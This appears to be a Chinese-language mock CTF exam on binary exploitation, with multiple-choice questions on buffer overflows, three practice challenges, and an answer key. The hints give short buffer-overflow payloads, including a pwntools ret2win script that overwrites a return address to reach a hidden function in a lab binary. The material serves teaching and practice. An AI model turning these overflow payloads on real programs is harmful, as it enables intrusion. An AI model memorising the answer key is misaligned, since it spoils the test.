Day 5 模擬比賽試題 — 二進位安全 (Binary Exploitation)
Day 5 模擬比賽試題 — 二進位安全 (Binary Exploitation)
一、選擇題(共 5 題,每題 10 分)
第 1 題 緩衝區溢位 (Buffer Overflow) 漏洞通常由什麼原因造成?
- A) 程式使用了過期版本的編譯器
- B) 程式未能正確檢查使用者輸入的長度,導致輸入資料覆蓋了相鄰的記憶體空間
- C) 伺服器的網路頻寬不足
- D) 程式的密碼過於簡單
第 2 題 CLI 環境中,快速生成 200 個字母 "A" 來測試程式是否崩潰,最有效率的指令?
- A)
echo "A" * 200 - B) 手動輸入 200 次
- C)
python3 -c 'print("A" * 200)' - D)
strings 200A
第 3 題 輸入長串字元後,終端機回傳哪種訊息,代表成功觸發緩衝區溢位?
- A)
Permission denied - B)
Connection refused - C)
Segmentation fault (core dumped) - D)
Invalid password
第 4 題 GDB 分析崩潰的程式時,最關注哪個暫存器來確認是否控制了執行流程?
- A) EAX / RAX(累加暫存器)
- B) EIP / RIP(指令指標暫存器)
- C) ECX / RCX(計數暫存器)
- D) EDX / RDX(資料暫存器)
第 5 題 拿到 Binary Pwn 執行檔的「第一動作」應該是?
- A) 立刻打開反編譯工具逐行閱讀組合語言
- B) 找到程式輸入點,輸入超長字串觀察是否 Crash
- C) 使用 Wireshark 攔截封包
- D) 猜測密碼為 admin
二、CTF 實作題(共 3 題,每題 20 分)
Challenge 1:崩潰的邊界 (The Crash)
情境:
login.bin 正常輸入密碼顯示 "Login failed"。
請用 Python 腳本生成大量字元,找出能讓程式 Segfault 的長度邊界,觸發隱藏 Flag。
提示:
python3 -c 'print("A" * 100)' | ./login.bin
python3 -c 'print("A" * 200)' | ./login.bin
# 二分法縮小邊界
Flag 格式: FLAG{smash_the_stack_101}
Challenge 2:變數的覆寫 (Variable Overwrite)
情境:
C 語言原始碼顯示緩衝區旁有 is_admin = 0。
構造剛好溢出緩衝區的 payload,將 is_admin 覆寫為非零值,繞過驗證。
提示:
payload = b"A" * 32 + b"\x01" # 32 = buffer size
import sys; sys.stdout.buffer.write(payload)
Flag 格式: FLAG{overwrite_adjacent_memory}
Challenge 3:控制執行流 (Ret2Win)
情境:
target.exe 中有隱藏函數 print_flag() 位於 0x401186,永遠不會被正常呼叫。
計算 offset 後覆寫 Return Address,強制跳轉至該函數。
提示:
from pwn import *
p = process('./target.exe')
payload = b"A" * 40 + p64(0x401186)
p.sendline(payload)
p.interactive()
Flag 格式: FLAG{control_the_flow_win_the_game}
答案
| 題號 | 答案 |
|---|---|
| 第 1 題 | B |
| 第 2 題 | C |
| 第 3 題 | C |
| 第 4 題 | B |
| 第 5 題 | B |